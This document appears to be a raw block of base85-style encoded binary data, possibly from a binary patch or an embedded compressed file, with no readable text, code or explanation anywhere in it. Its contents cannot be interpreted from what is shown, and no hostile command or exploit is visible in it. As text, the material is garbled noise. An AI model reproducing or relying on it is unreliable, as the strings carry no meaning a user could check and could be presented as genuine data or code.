z%27z-)hwr_s73W|4zq(mhegD*4#ExJ3rJPtzm(dPCU#wqTF*1Q6J!_D8#>6(Sl{k| zbm5~F^eDA{Oyfl~GTJ8&Zw=<~1;v@hDp7S@g8`ZAc(OnzI2oN*J_pbjvMY}mbvEFKhfz$8y(62uZH?_Y7mt6N=arQe(5Ku{D z@X%Ua;7VzDU%Ws;fqJ11eY>8>u9DM-XpM;A1EwH2EaG8;vV&IejfA>O4GM;rOIsFC zy6w{6_AI(kI*nXcXG7~So{6m{I2sH=HY`}M$UKSW@IX*Vjerz}e=4I3CHwQ0$gmdnDwMOXqv4OnoR|fc7^5Vt?Y=W zsbX5y855VJ2WlxfakBDlW+ogY++Yz>X%h^X#6;};IYZ3>m93~v zF~zkiN$O+7{VF~hXAZ8>yewrhHbzA%Hm6c}?xa7+tFXj1%5gP%#&9Mv!BvaI0YfiD zmGF&0h$~$tf(shurto|{`~oQJR#5=iO~P%;E}6muE0!VGQ&d{nNSx?kvj}HfC<&SAlz6bDL(v271NI#C%J8Qx7BRRw6tK(<`pQ|RfxN5xu(#@J%?cjupR>Q4 zeHr&p_Q|a{7Boa$RFu{YJz(_*JEaDQ|2dQ*vh!@)&>Qg2<4Vj<3q%aTD zUPA+}MO-UG%WoX>I%b}-(y}vH&#rsU7p5(r%@p`Jg$)@;X7$dR8 z^u3Vd-%I25X9TAGDdPl58ukwadsUs?mo@|*oPk|0qd(%j<686BMT5pUFBbVa5VWe* zPpW)}qP)3A%0_wE+6g}D8Btukbihlr8;VCobF&*bK8P8>+FL?;m+1ocgS$QU*DFUq551j)lu&QuhYiJe@FgCHOosF}*s0=afH2slo-SICVxxa~Sq2wEMWQ&2sk zQ3F)#AB)sXAY$-a#Pm*oiCj=_TDcVeY=O9An4P1kD~WLHPm&H)vzYF>(ya`@7F_2t za4hZrj=#{MyXXVYSN&1${u5f9!0v+PW;{?f_+x@LrF!eh_T{L7uir3A%w`IzWi|d- z6S??DltHd{(#@&p$(+*MC=A9&hbei$dWsB<-@AGhpq--FXU!t^ zNwVF>f6<1v%0Qc1RE*&6@3H4E=od>WbQ#~!(M7g8h}bmQ$~a5cHzco~0r#ZDDu_su zuW-vB;7x|tczmv`9wi0>DzjcwMj3cDJ>g&Z8BJk8*=X6@U%M~ILbuIGX5=?)h{^Fm z3E`!^#Z(iGzNe;7OA$d>2i^DB9J^T`!(#5X z76iTaAJ~hmzQfinSg<<3Pc=a1mI5sGf0;10~L?dq>AcfkoA&$gm?O%VjjA4p2h|%^t%jk#umClN| zW>?~`%^qr-UreJEBD9Q%d_6j5GchKUjN8F3QKi`z={>{#m8Pd$#JhMmy z4Z|`N>IzxQ08eX>R~z|Mq4?ryKFu01(g6-tTZ_hLFF(qFwGBz6^Reht$N<{aBhUF3 z^{y!#R#NT?jk3E!!6FL$MF204Y}8F}P0z@7P9Res%}#r|$jz*rnCIL(=>uZx$HO?I zzRjLiCD69|xKTQQmJx>v_F_lcGe~Pk-ow`kg6?Y;e|aU`nrR^LI|7?n0~~AIJuofV zm~#;@PCH^;sKpdHH?Y6PVQ6g5@*o27oKVRIqaGz#px@RYdlu)q5YiM+d(;{hWWkF@OoPFyzQX%*G}fU#$}3hJfC!5V(TBVfL!!noqzSU6MALq&6BA=VBWmM19{;x$z%Q3 zu=qTN22EE+z+$lwFp?Mg8r86e99$D^Wz(_Ice>{#4K9+bq00~l2AN89mQzjk0VjWZ zH1;8PD{t4D3@|u(XYJ9;XoAo_~n0L-uh}n!&X+q z`#}`%9F?~V>_Uh9VR4SC36S9kcVfrSQB)%fpQB@y1d2>%f5hb>U~7RjKlgRMI9UT( zyi#wOj^tw%xtwR<_W#W6r(UisoD$QPudLh8+oF#3PiY-_m(7_)_=N)@%r#93En zcaz1|^DTmpd^9*OXR13Y)03)NscqSOcM|kqT1}P6V>b0mujZD%nHITy%|Ju5F9Xof zoK#w+3yd0KWYM*|1y_^{<5->+4z~j}?4JJ%DfGM!IojQHv)cb@kUprI!HMU5s>)f* zB^y!oihIQCf;#={IlslGMr$W(pWa{IJAi5K6H8w04Rj*wGK|o`BgKsv0IIENnFU3W zpMs@@&hbktn7eoe4>csv+=kvv5UVIWjhqEC^#q4`VO25W;M%dw2vuLT@+6IPy%PM3y@I^Cz5+wtfe?0 zh@atwjHkE$y&i1^!(%Hbfr&|Nnl6r%v!H5fNPWQWO8mcwMER;#eZ*7*lx@XSfYNyuGcO2q5MQ4 zV)jIRTz}1fqQafWlH2WOhYt(6xm2y*(m!{CxeLAL-!iLvuG)oFvC1;iL#%pUf!!Pv z-ZWL{U)p12{>)jwKLc*(YD*j-cmSJPe}5p97t=Ps#ZtZA{C4^DiW>AuExkW0nPl$y zkGmSoX?6L3+|{fhQ9=t!DK<;jo7)5!K{ve?~|0!X>0|oVY6YETpqU#KZIKu&S5a^FB9ecHmnOTtliAUG=6t|U;P^d zezPthc1wFT2OMZGV@w&kcAl{0FTj>6Qxb6klwz&k;$7@n#rC9Paj#Q ze#BV0SYvo)Rot{O$N`lj6aBt$QritB+>p3Mq!mz2oa&aqT17xLnI_DMazxuF{3BR2 z-k9^TbN5IzATdcGXkA%2MBJS(gabO5mN*L;c2@9=h}Ww_CfZ7mIt)w#&z4pM zg+ScDi+xl|K7=>V>u?XI^rItSSoq5pmQdcW!8)I5h0(O?@||MTW07Q2*#;;r1!`+3 zLV!!9zB4AmObUq5{s04EUp=6l_#W6ZBf1E>31I@wq)WxZt$!#Bxl?arsPnE>7;-L+ zlYtV8csXVt&Z5(6kICo7qytZbQZ;gVq!Zg4{y6ZpUmQLbwww)m6b+BU6q)8cD9l=Y zH1zBwX}91PL2jr*QQVhMOb&Bt7AIL#O);c3dAZ&f;KzZMS^!i-I;ob_^-gm zlJs*_Pp+tjDv6j36q(zt-FPk46Lq$foGd_&|E>&_*%eH)fOS2=3B!9R8+D#sbC@s% zfrQ!ukRh~Nfyoy96!~$LnFXLPNxqM=>o15RGRiaVBf~vkr({M%)9Z*KZAIG?iiXvF zJ(QC7c-$|p%%E&Ng^t4TVZ^x9yy1xA`Ks60%zBb0lWxS|(Hp{&zdL(u{YE7l>1yR% zwB0w9In4S35H!?%r^tNyEaWhl0BnjhyZqSjz7Tgq%>8OyT1p^DIQR}gtdU-U^$4yk z;hJl4mZI6|z*!!(%EWd4OS_UiK(KgnzudfB;_Mi^6zb#m?$oRDtuq;L?{PcndF!20Ty2{HA?*j$6JhcIqe5puJp zvublHu+%As1v=lgzE3-mV{^TIN_XP7PoIEewKBFj7KHL-+OF=reI^y{!k&FzrL0lMZpH`_UM7 zlYKKeaaH@PNT86t)&>piIsKa%fiH{GC|aag1{)@Z*ZeZdj@~_ariew~KMbhGDbPT@ z(?Jy4dnRJEt3(FjrgZsgr^;bXo=!ulLk}?7^XUzuP02F# zD=Zp`nz-5FM*=j!W9=FWh!fi%M%j@U!iT06lj{%%rh~AH8_ze_(mXH3RPK@2`HhVr zgmUZ(+GLa(mko*8EK?fPr#T0MPE#La9b)zcLwS>R&Avvm8>Af%i!Na4Rn7UaRE*SZ0AFvJP|Vc5bk70 zl%nkFWmx*kSf~NAhklWq=vzKy#!r_~EGZRvHscm6Z0Ag+dP@)Aj6RR9{v|>~ik;Y1 z<1g91K=kjh3R_eW8r*ZudwX@o5gW7oJ3@UH)3z_kS;z?kTP*9RmRdMW;AR#owyg>l z`aIbi$p&$#)pv8<;@VSL^t8N`{qvHl=6yM5N>xa2ee$)xMQ(_X85`nYvF{x*CQwa{ z6f?ETAT?3bfEJDW+c%ID31I={Ih&h@uz;&vu^mkby7xP6sK)^j)jRuQh^f1X6tO&* zZF-BSZ?5bzL2kg&H)IpiiFJ*-NA$ex{_=@p zwz4qz+d)EPgHiCz{O;e1kIt7z)&3>V5O>v;E6{~R@HmZ!S)I0vG3XEUu@ zxZNpae0hQ!ntAWKVrL>0hJAyCZf!$=1(`GPFA=81MhJJQ0b0P;qryjYj0tOCdYBfm zU0IBwCQ99SA?uRkyIYcpc8qB-@SMi&RtY09Na8eeB~FW}@vZbOoFd>UqUvI2EThud zN~lSNc~!VGaVApso3z02l-kfK=#EmwU!yKqa=S5`IkTvvv!Q}*aj`+koQ6=CN<#YY ze?h)|`};S(phow9(i$$jA^mU{<6R~vj*=V4e(0kjVZ~p5Cryx^Vjl$~=}q@a>&JYr zHNo*Z;=l}q=H&+iOc>-cj`sOQi$f$DqsWK~Ry2;Sb#S%&dO!a0*m{_nn3^cgIc#d& ztl6$8SG)G);o$*pr^To%L>o~U)Cc$NEy{Ibby_&Va6u73Lj8n#h<1?dp#J~9`ul|P zlVT?_K~rTIIsqa`o5Y9}A_fgV)JWIGS;vq8yGq{9)0ph}c)c0VFTUJc)E$g>M_j1^exrrn+J=+1THnyDRZITXvIIqWaw@;B5<%~&{g z&{D!ffuMiwvwubAD4;W;g@B?rMb?{%opZBbHmiYie-~ujeXP)`W>oJjrndrHd1cn^ z{1Y`*)M+@wc#5#u*wplcSR2Gi>;HK{|6K0xZKB`8t%|j$5GV8X6Q!c*A2H1SF;#JO zV<+_v$oBYzfdW^}gX?Kw)<&Z)L~~N`kkPg7A|e2RAGzQ?ogUI12wfE+h97Bm_9RN`<^0(Qg!|ayKLrT}ylI)zxAp(8xZ#poO>clhDN5l1+XRx9< ztvvX#tyV_SQzhY|UWzgJp}0qQLosyg`!GAB!e~0+?I&{hU)=s~qBuGLKCUbC;92}W zVIMp!T@Xi@wWmVB+6boUvV3buy~rvU70!8lsW}@MCkL}0O<^l@4`VfiJjCtz-$lr> zJGG(W(l_T(@LcVu^3J?cjb=;i1yT7ebjD8b4WmbdpUtp_+t^4^>g}Sam<36{psxB2 zUZ6IR6=!Z4{anmV(5}->q1cyg1A?^v>k0q~_Ox;4DL$ASins6M{}tJS=rMjprXe)nLQA#Dl(9& zXKOkBzpT#xQwyA6Z_uCspHs4?b=oqbK`xxB&@(wBSz0bT9eHxU6n9b>k94F^#x zPB52w+Mj^ZPU~0o5X(-~7hSKA+*C)l*im0TfM~;pElO)X`ScO|7)22$)@ePGnh?;e zz9!n!oLbrES#H86p1UG9YZ{)X;e}EsU7z-y@{alh*9tWmJ}%Wn5X_Z!PsW+@&*1-N z*>QmxiWFfD8DlPh-Hv6I%a!L7R#u+iVCe>C9+Ec(R1O)=H%U%O!d_!S>lP3m{YR<8QlI(Xn>Yqgcca*B^tDM+e*@ha?_gdUvKlwG!i8>)iGd|lm-GS zUzJjwD&2d*u}bC!<{3uAh)8@-@_S8E_2Z~U>FWUzGZm)j5R;l;PJF($6su+MR5DK;3|60@!h+q*?G;W0W z24}Yok^{xqM6F7`x8m9t1*!`?pxDj=edy(vmu~*#ccH`Zy_S#g?wQh|S#fP3S|K}+ znjbN<1sV&8ww!x7P=>Uo)(47JD#NKV27Jl7irLF*irL*p&ppY6jjs$5)~wVf{FFw+ zFI9Zbx{LwbR)Q5Hw?;*SvyS2 zsCU`y$2?xmYR(F1-jpw4Fnst_hU8eoA1BLqxbHa(w3K*hO{cJy)=St#Va~&raA&_9 zhpGA#$NT@DHPttc^FJhLeb|D0{HGWkHIRb zDxPs74V)}D=eX}fW|vvKGGt=(ExxAGd4!D3oONNTmEQ!^0El#^RP-E(?0+fv84<92 zuDPf7D>)p!?)dWdUt?t$oSWHS2 zSz?zUyAX1j%1TJw<;_^@ak}`+`Eq|!XDy1VEi_X*@|~4hd86)oomG0NRfS-rM1-!d zg_w!)ILScIKy%a*ML9}L87SO}?1~AA(L0J28pBGE4M`E2%7pK|@i(NeNJ!ljtZWBX z`0fWVYAh|0%Uf~_ot6Z4zQ15>8}DY1rCKeoPZ$=RBgWJ@JY<$xntVPPYkW*)7RprH zw`D$Zwj_xK%I+`Us54b%>+(cUsrK4cnm+CpovW1JKTIurD$7cAP88k;AybX5yC3IO zeZOGPQhWLEL`~*z(~xp$HD5bwsbr(Cmz6G~GZXD7lWq^Wd@*T<)P3y8l5Le_MfzV> z==a4Eu-8jZ@5$FbZbU7#kmdRcr(N^g=bB)v3ok3qPV3wqPf|FrJvWN1VlkWxFSO8D zPyDDO5W+@p7Zo?9Gx1mXZ!xq~3gudKe(3IS#-tmhM*ZGnBKzoEwV4WJur3~Y@4H2a zsg7ab{88r}LCH=kN_XA#a@_S>+V%=#%)LyDk;-qnJqG1ovC%pHqM3WMaxriH$b%Pl z^V?5*%Jo|l&z#yC_n)VK#4;KlQL-Vuowu*?N(yP*TpC4Do39~XRubShHD>j~K4n=AUJ@(6mR{yze3FypXwe;c%bU`jv_o``e&@2x)#` zq00v3)8#9xQC3)VD!;6M*xr-PJ1vBfVe1Lu=lKW=RJizF^!Tquisv~gxrqX2^D1Pt zWL1wUkm98^Hqu7LiVzMovPfms05oM9D6P2qy0mbJSSCP>3;Hv0-w$kDDn)t!?jA#n zM*QX|Ke~*YGMy6xaoFT6JEgZqnF5JQkC3Psy4gC~d<&(_Hbv}7XlBS=2L%QC=OD|S#duENN$B|yIUc<*YC&7KK zB8ilmF-o#$MZ4J^nx4I93(-V1gCZX*739X3hs6{eGe>$>sIP+kMIV)t*gkI~jYc}R zdU~Ys$-#_W)f3xc>taf)%8o*Wc$DY(+ES0*n+erz%jYC@-ltdHx*?CD7!Q1RQ%uT#*zg6;Tdlsvhj{-ottRh-lk~+_0vyGhadDSfYkn0kmONN* zNU05D;9`m=&hib2P{n&+!Hzv1`4DBL{(+6H_1$vLD%z$ji9e1_(b>S&^w~LHL(Q<} zJ#Luc%nc@Ki?RJsN~Baw`1&IY6xL3At4*0*z3Z3(eSt7J&@|zSnB4?_n6C--hd(TE z2g@hmI|syN%oi6I7nV6*|LngrOdOwAPw1`G@C6Pl`EJFc5=ac|)y9dU-cznyo;0-& z&!4lgYb zE3~4=yRFKdf5{VyTE2`{ZgHow*7o4yc{_lo5@WWn0e9N*p-{pSpImZ1N!PoSB+x)D zqZS#~6&CaP^ulI#BTmNfJU&}WemJGUn92S7R2o5MEj0$|@lKcoZ)p*>0R~PZOvjO@ z6Rr#f$YicjczTZhfwUV21Brz%WCP5hj4Bk}T_8U)N%h)r3|s-Q?F$%gJ5H|kRO7u` zvAv>ud5j>a+l6qzjYU$1oJ03SqsaTK)Lo+(BY%5MA1XT{ zu{u8<1D_B(nt-7=1Lx}C4inqygi6_YWlC}T=9XB~duSS2wOxL!rCV@@X6=(1+qb_? zqoCnyH+SyHG8YwCwyDl$o1~mix8VyPA}ouY&A}ObR{2kVT&S`2goR}Br{qx5ew}rF z)GZ_%h?))j+IU21V6VHadu%-XBSWkw-U|2jrCA2jW1Ao6N>9p~W}P&k#;U{t z`=&{t@#rmCLfDNcs)pvC!{An}v??$9?5~0t{PmL3`0=EJl^Q;y-*li5B{ECN(wS6B zFgY{szzUw6j?lUa>rCHxY`z|^Ug~3AW~4sv@c2pSkkajlp@pqY!6WRl(*E{26+5?R z{}eve<4JdoEv?g`Tb(aAyZ4&7rEh~MA>PfS|Cbr;qve!lI_$zG^?LGckptMVAEwxo zQQfq6nXzX@HPV#SX0S*a-}TQSgXP%52rO*t{&+?&*(zSAGWJlz%;{HJ)EKiaN*{Z>>ChY~^0wO||Jc1C8AMT2c&qjCHt3+<16w)lVTJ&WUc&Z=RpCYF1dwpMM4 zVxLCEy|gYqFFisIceY{4NE<@@xEo){*F=EAE;38kJc$dRvu?&-^AB+w75^+Xgy66K z(kfK~P;7x~YW%Y+WHBf^H$ks5SVBvQR=_F}8Z#zM3RN}GC2Lg_0Vrs2_qBTfZD?eQ zEWQHx>jOWwsdxKlHMOFQHy6pb5eV@E7=UqW#RkJjy#w2-`2)v|ydeTi`U^`SnKcHa z{pd$XIhPAnU!74s8%x5?C-nUDVh}vDyvz1E{PSyY3`-Vd<;1n)VM6aZ*pLF9dC`kW zN%4`pDyr(hsl)0k>QS9aPb-jRXt@4t=%e-QJQs&yv-xvW3I@rrxxZdHd_w3J_bRgD zQULpq1(drYELWsk^<54nt_P1pLc?&*tWR{K)DqImkagZ57r4v7wj3dZZm26KR9!xGc0%X;Wo#1H;NqPK?>H z!o%19sCYz#Sc4b6a%^B%Bu zGa)dKmvZP~<07>(%1&Ke2{w3aen5JN;W`$2o^R}h^JDj&&nXuF~HSWmpcWa0_p2)8mpNxF-YZhzNu30g zJf^;^2l)A@l$MVDV1_I`j#?%+wKs0z_T-}kNb7WXu1EZoC~txMKE!)FAaUwVuy?0C zZ95V`=;B1rY9UkJt;sQeSBpfk3aHH+y>PX0zA6(OpUdLMS>qEIdBs$ebI!O9Lz4g! z>sPR}B!}g&e%G~uNzM*DmzM4DciKH3D}1E=){V_DskTk#G)Y0^vcfuq*nV{ntUIEU zZ$9XAhSt&P`aMSdd_I@|B)@$;IuG8%;<_0y%0T(EM$v!8Ysl9#>>t8+(kllqmH?XV zW|R_a(eE&9Fz(xO3xZyh# zGXT&Mj`-keJ8mdp+$WR=&3ym!tL8(TQsf1zA7uBPH`ji>x(EN$xNPzCw0p;;_qpBs z#SNXZbu2>PR`2=q3pXYA!+qLiql|Huje zvJvfe;^4a{A7bipyD$B8NMfyIKXQ<2TlyD=wQ#L~w>#A9rXqA0pFOo)-Qla=hlfty zZsKRAnJ;fic0B#Xd3dxjrPG9F$+=iwh+GImsvaDd{7kgK>4Nyz9|X2^KDaq8h|VS@ zq6LuKUxCbwP+>nnw7D&^tlwfkUEc?ETlOJmwciWCO+8@G5O3=t>ac#QP zo8pM&zjy^(kPq)nD${#GL&bc}c*1X!*bVNL;K)MRM_Cs&J@d(uE!ALWc=Dt(2eS3I zyW1_baBfylKeyiAx;LD}6z(GGNIacNp60|g+T)Vz2Br%>qCIa7F2r=z5eGmq7WbAx z`3DcCN@@`b-^Fmx_6FSEa+6(=f+`#^d7s#q9KkvGV^3c?{*X7X>0_I-9{lOj5yXrw ziyHR3N94p~v#E?%gI-zK__VOST+U>_gBwD-AjRbg%jl{BjI3v9bXoNDrxp+5e4bPm zX6LI88VR!Z*w0tl;=uMh`~i)IW2BX0P^#WsSbomLrOC0GEOntUO&c^!zH>l=PtbSm zbfRsqsuw*dn7hZ0^miM0d`dZY-VStnS-##nd*CVFq;0+N60kTPn|t03 zepy_+|LvD8xHs86Ib9wy&E21ETb_R=rdtmN_}vfbF(!HNn=DCi`VEt*NB;arL9fiX z2Xb#749TCc!3jxa#LDA|md!-2fNj}V6>O^QPc_tlQyJyt%32(FXFtD?c39pp@pU$6 zS$V}(s4d*}!3XW;%bpB+nKRpGmh|ZqRDNZZZI{RULvl0u*qglRlBKbJ)iAdGV_O=oXphyqY)-cgW&cYv(yE7hBp>L@wQKIgGsF9bd+oaA zV7I-%fe|@2Er`!sX8q@gEV-6GFAFl>@HvPxQpc`DtWxF+BWe3cOnZdW4z2Lzvz|4I zrK{ZzLE@VGI;}rs(xe?rKHeF-jlv%g7FV|@#Y@BiSQGtQ*Nn5dp|ZThGaE^;i=ihu zAs4+>EF}_7;T_5u{&UbbgoCK|hvVU&6B7(l%HrZo#9v;-Afl&8O6kRuDrG@0*46<^=c+t@%rF1;y zCP`wbry((yh$a_rY!bJw0$F!WaU9n|=>&!t_!uJ^+g*sO+O8cqpGFptbBmK?if1m? z+SEH&Z&e{@o8*7fYzd~z^zwdOeGhXo;HY{$g{W6JkYWmRe2a&{RG<&KPRC#=|8;QI zO8F|7g9LUr(&T1zIpqHgzpwYf`;PZjh2`MotG|MK>(jm3LIcq+Vl=od6~f}(;wgyn zd2R#IkA`=;%vF$|bTalcLA5RpVrPCN9NOKoEXBlmf)s+cH^_x+2q?!HcI)-Lz(Y2N z;rr_x{9AfAc2eraoC(##V_p`! zbqT>2Z>7*sgLI7CC<97=;j;6?J%d8{oA1p>(i+o7Hgq-K>~rB8?wEbs8|GE6+2@r<}n<6P`Sz{nZWNZ1QPmWCQUY#v8=&6N@KFxNQz^!>6$k?0Q-U zQ&3CJZJwc`9R65gH4WOmL^w3gPz2BdZ-K-hNZPDSf$}M77p0bitW? zkUG=4iJ|M?8*0*Mbr%gisxiJCN6b%;%Fq<3CH3B>Rl>aYpbut6^z#MNO|ItJ^DQv|T!*Nz^+Ax)%z3J=?7LHMHU1qfn{h?9HMD|Y;^zKak-a#&#BTv4XBkJ4vYa2*y}U0r#ZB>-qzH!9opH~Q+CAh ztf}>I^n9fiuh!tV*txE@neYC;fsiQ|)B)nA`OZx>u_j7KyK&L~brHr$X3Pg#h9Qm| z0gp~6s{H&k2j}zn)&Tr4?$f7P4y&0B00~9MH-G-TyifbZX8VY4d-F>8RGfx)3>rY+ zM6P-JlC8Q;bv7?zB6brg#ziNBF(nZmf^#>H?^idjWpDLWz|>WGFsdq@Ctj69!V04P z)*jCvR}0A3qrds5q{zfHIN?BhdpsY9?!&tO4jPf)K^13Ed01n=c|+$O?l^KYItF>p zbN9f)9P}VWY`kEr5&tZ_%<8Xpqu$J+9Hrk?{Uz-q6j#n_&zV5^;}cO0NHY80onM3c zzWDT?K$!GdyP`$KNHPtN(DN_ou%i^mgF?T zY7qpkyFt=wDhv<^5`%1e%E!^55pnJ<$YnGsHObLPg*v1Cfvn?4GN}P*x^Yjp(%c-?lO(r2cQU{1wF@awD|1I5n38-l z$}tq=Dj9>){VfUF!mSC32#>+uG(;qd?(`vxeR-%gnezu&6zycogI|%QoCd6SG3v`7 zUOn!p(@v!=gvXHeexaV{3wwV?w(Qx&7@p1y2_J>i8Hgr`lw&q|%K{pwJs{Dshh`SAina zMok;0TKqw|MII=nlDW3_xNUwVG&}M-Lk?n*(pQI+Hu(T*08fvm17`%Tt(TV=>b`|{ z(&@8=x0gEAba;Lc{!9oB?OGRB6r4Vkarf-d=3J1{y7kQ>9J%wFoOt-(9OemYZ$5-X zB-Qu*#c_{hh$Wxl34u8xD1;XV)EjD14#;3=Njb))5n>foALJBjlOv7)j;t}X4Y#g> zdAabMmpoC%UM`1}ju*$ufl_-O;XN&UiQ|Mu+$i?porQ%aXv3UUGTdo((pHpq98vURlSdnggue%-k zw)Lf&S2ToN&{GHl7>AA1Eh&eD{zl^$#c1obGvvCk6fB64ak%U@aITG zEA}eoKe!ef-^j+RYPbgaPUo#Xm)?hJR6~*9@{$Yu?y-;87Oihw4#ZkfI_$G8onH37 zQih*CdH`m?$;7bfvrhS5>(td7I)liBP5rJ9nw&(qTLggB$WY=GKfJwEt*g8t4Z82R zy^ZNU!S1`}nK`Po{kOlqg~U?F$_hB3=wSac!DV7QTKsT{$@F(n)T2I0dH8@_pGA%l zHO`*Bw#H({8^zcCV2!CKwRh|E0%?vPXOr<~nEY!6(5$}c9ctq3v-oeDk4%P~ZCpQ; z(9?hX(f^r*P+TJ!~XGpEL9F*ICd83#J} z=U_RnsO}U=<)tm)$CrJYQcmmpdlg;3Fy71jJUD}zpGa`VWH9#vby&LoOGxDVMG?(e z*LC0XUjk_=Ok?saeRp=fb-fo|bfUkHoRa_to~4~5Y2gsg$^NjFR1H~G%92Blu`af( zhLlQ4JH?E3TGd55Js(v07RGVu*Up7~9e!M3@#xOtXbPUzH3uU=Tv;xh29Od$?Mv*loiLys z2*=sH#U=Ff+i>F&x&dmqF)VdUhwQr=s^UmFq8&B6SH?rARrUAPmLF}1=O%m^1x|Q% zgnX?T6Af!d?!ZV==$ntlOxrzUG6Iv~r8))AZrX4v_Eq;QJ)=A~WTw<^!jiE@@9w2q zn#QrduRfuZ`~c$fJZTqI$<8$8pR9+rL5H;@IxUSOjd-B0ItLTS~%SnX+$q4WGITY_RZr6Np za8pJOe*2b89e*@5w5og*uh44QT!kKV(c=gy2)dz?Hf&?gkTQG)U*Y=w=4Rh~a+C=H zR^0J+WP!Q|t#zibi-g{cwdC*XwdCh#+eG^9Qt_EVqODCZLwF3&?%_;WqSbbPYSXmA zUG99B8yAfy7dtBnGbBP$=#`JCS2+79-B9Z8`TUOm8r~ppINcAv+UWa}miEasc)G(} z`k>!99_~qa6AGuvcMh(n`R+6ALjyh+W$xRZ$ZrX3hf_}Q2#;ON1s5I`1Gh-3Kn#}@Kl%WAbiL9n+(yfr zlE@@z8+H`?!tF&RDeu{SVAU9(MA^-Y812+9DM)_oz*ZTUSERHc(V0p$c9YvSXR`s&jx$X$Ne3vqz z#j|M7)n=s9kF@7^`6%4U8Sb8d5?*dB91wvtP6E_i&XkM4P)JysKQH-Bu)cR=##N58 zZuclB5fZKfq-7(`l;3{!YAQ-7f7*YS!}L-@BmXNI$inb+Y}Db&=v1riK7-AeZR4_a zWE$deE{hf#sr~CkPHRpe@(?B2&8KVvDP8_?b+yEmLfGR$%CUlNQDy6pj9DGh4X@>q zwLOl2+ddCVCEf+U8;_RK$l7WWU=%;ANL1uKUFSWa-e+!;uR%4iU0I@+9_P0@84*r5 z{Iizt#!INWFF%Y7LZxu01Q(TJKKUC{b@LOG_a8`QAod40vf^xBj2QCq0~hno-3D?c z-%>p~_DzBo_MU!{>`nM$r?BEMJ$jGsKPkEQfL{uP_Bc8>o{hQJb!O2gRL@%!}T37AT5 zEC51&88wGp^Mu8UHp52K{?U?e6uctM`hCh(x7+}e@OeEK&QD)A{5i(ZsQWz;CcqPD zXzVg=Sa&)yC&J5h>cV$oOG3lv5@S7#O)2EFSMPRW_{7SQPN5xqTX#uK{BhxCdh=o| z5Q_ja9|BGyImFB)jejCI_(4Y=|R#VJQ38j1;

c+d#tj^+h3pYm_zt1`5jYqX-#8MO#q^R`G z+Aq;cz^)<$#EyjD47$1rp-&+giRL&YdR_0un+e%-)$AM-z6=K|Pyt))p zuf8)T6_lq)*EuUnNg@p_Pd_b^06lCz_=$?6mTj~s9M`{)gc^fy+Yj#TASozVakFWt za=feF)*HndocDwITXf^W<@iNUq9Jw}s=gucwzy3wX;RFzUoYDHFDN@{K~FnXM=)+J zPak{Wdg%>+3^Ga9F zCemfLl^XpP;f2i=(kv-s8RawHA8%*2k^PFJ!qUX)kn(}GaYBDY9)``xyte{;E>IzE zs~!h63U!l<59fJp3UY=7oAAp8C!Yii2nOV~!2>Q$1JXg)Q3MwFu5lOQoIE*k(jS^A z)w{~B$hk_)&_tWrC(!CX21v&Sl{qCq?t?!sC(eA5U!ju-2}Vc(}qlI`!(fUogS-{wk$#8D6+E8`^3WhW{siVKO(wTylCo<^o zRjcep{8W_4xWy4g&r}38)+sPaoK4@@|Ls*kv?p*O-VO%*Z1?`!#Lg0rFd!gPk&ff7 zLx<#uV6`Q~xp~HW5N>nUmNDGa8H5D3=lsGP5T}{z6*^;@I`~mBB@Si2eIvnf^$&1C zV2l3~9kYkxrT$~3ubIA~|81jTLdMx=+NdD-h1~_4F$6i@B)ag&mne{hhJHADUus7V zI30~^EbW$9_OY#`!G9d##9~Z8MWjE0SJ{PFI(T2n@$C+~$7y|26TCi0Lx(QkL`Bjo(+2J=*T;2FA{#-l;fk)f3d4{EYw)nuWs{eWlovk|Ee0( z<3>%n4%Nxmhy1&%!L*@WY$N)Rpa5DNH1icgUvgPL7ZD%zZ}h@Hx)ZC03O(juCXs!b z#TD^5iv0zmFL{K?xg&)9Tez9W&x@_b?XZ|$i^(o|GbK%`>_V^>@PUOHOqb};OD5KO zwNtYy+I9+li$R=0(Mze<=0e%waxNo7!*2NA8wo;Km$7_fo_KhIbgY&bDUvyUTTiP7 zpU$mOnOlu(Qg}!GGUt>IQ$Y%)v|)`&%4@7UIqMGiAv9bJfT}hs3~? z>p4WCe%~Q~NNj{%QqXc+ii`bViJW8qA4ls71(6UjG<1%?v5tR1j&eHz=SR=x$AyP^ zgxNPS7*ZiMTM-u@fOZ-!GikN zY3z?(0b-c0*^lFT&rn#j-|tw`kLdl>q>*^)QTkJ|CmAfbwy0jDM`bU!&Wo=TXqD1t=MGBIHC&s3& zw(=Yb4!(AJH?(F&NnM&Aoo4fZ?g9RtPHy@hqZ*u#b?=mE_*L~8z08|z4SJAspJjmpAdC8hK86S#CahQeQe`GhfEiV&XNAxnPSsiS7(x2i08)%Qg;+zHCE;(U z(I>14qKg!T45D_T!o(eJ?Bz}}^vh~DNAFH7vyfwbte?vQZN|AC;`pI5_RG+Scof8NTP zTjTz@Wjyc5d?{@65w~3SR&eWy)BPy-YD;RTXYJQDr4Mwmg@L-2Bi6FFA=;|HdcEXw z+w+HN&qo>ci)a#+Dj;J_Y_`-o-)^{i7s6C4x8jd*SQ1FQS#s9mie5vn(aeTxXFpB~ zBKBn0Q*KOTSS%F)b@WHWKILBSR2Q1{2!A0j`tHe>gOr*kR%8VWNHh`n@`>KGFP^G=^DrXu^E2;da%C@;G||2}`qmOTx|@#D6ZTVU zJaZ2Ft1&H`&u{wQntq}|dN}^RCXpDAv$PcW3wR6>=tInaO|a_#bh7xhMj!I1&*> zgu7XVmP_^bm4GpA$Nk}_a!RRimgjhATVguQ&fA~E{&})BH|UdXTMG%$=V#@my6NA6 zQA%jv&k6O0iN=-~U~;l-L}=j3#7=4Bq5k5!)U7jVdtkng@e2ObzFNBi-9Cx>Vi2mk79?(x5}8B0kaErDsB>1~?neWvdYN;CT$=djqR59fo* za zLQ&k52>-aw4QnE`VU^V5d)jPheZY`~R;2oQC#l6fAq6%gTm&+CgLr?b&x#Klwx!PLhm(#ZRhn8eA& zM_u?L@A~vzeCemsVDCE-#Y@0o^x0Ed!Qa`3kvXZ;C5X!8-UJ;oa;AA297(2H@L7#j~1=pZ@@-Tum&*%ty>KT{WPigiMv;vJe`Jb}A zwMG1F<$Pe(xq8ZSl@M)<$K~Yc3!!UDrbaW+X_T`LgG?+bwFzKef4_}o%A)wi)M%>u zU5a0I;;ThvQQh_S!$G=W9*$w;m&#HymID57+YhAX-Nf46!Y@5W$~ADl+d{SUYe_7s zlUN9~U+g4Qt?-W@U@Oc^jZ`DYjWo9XqOxpnaF?6M*PTtOIX$f z@O937HLo4>1UF(Z6P$W-e&=h9JoEl#%Ho-NI8?RPfhCE%+^bw71@)b3va?@~7xmPF 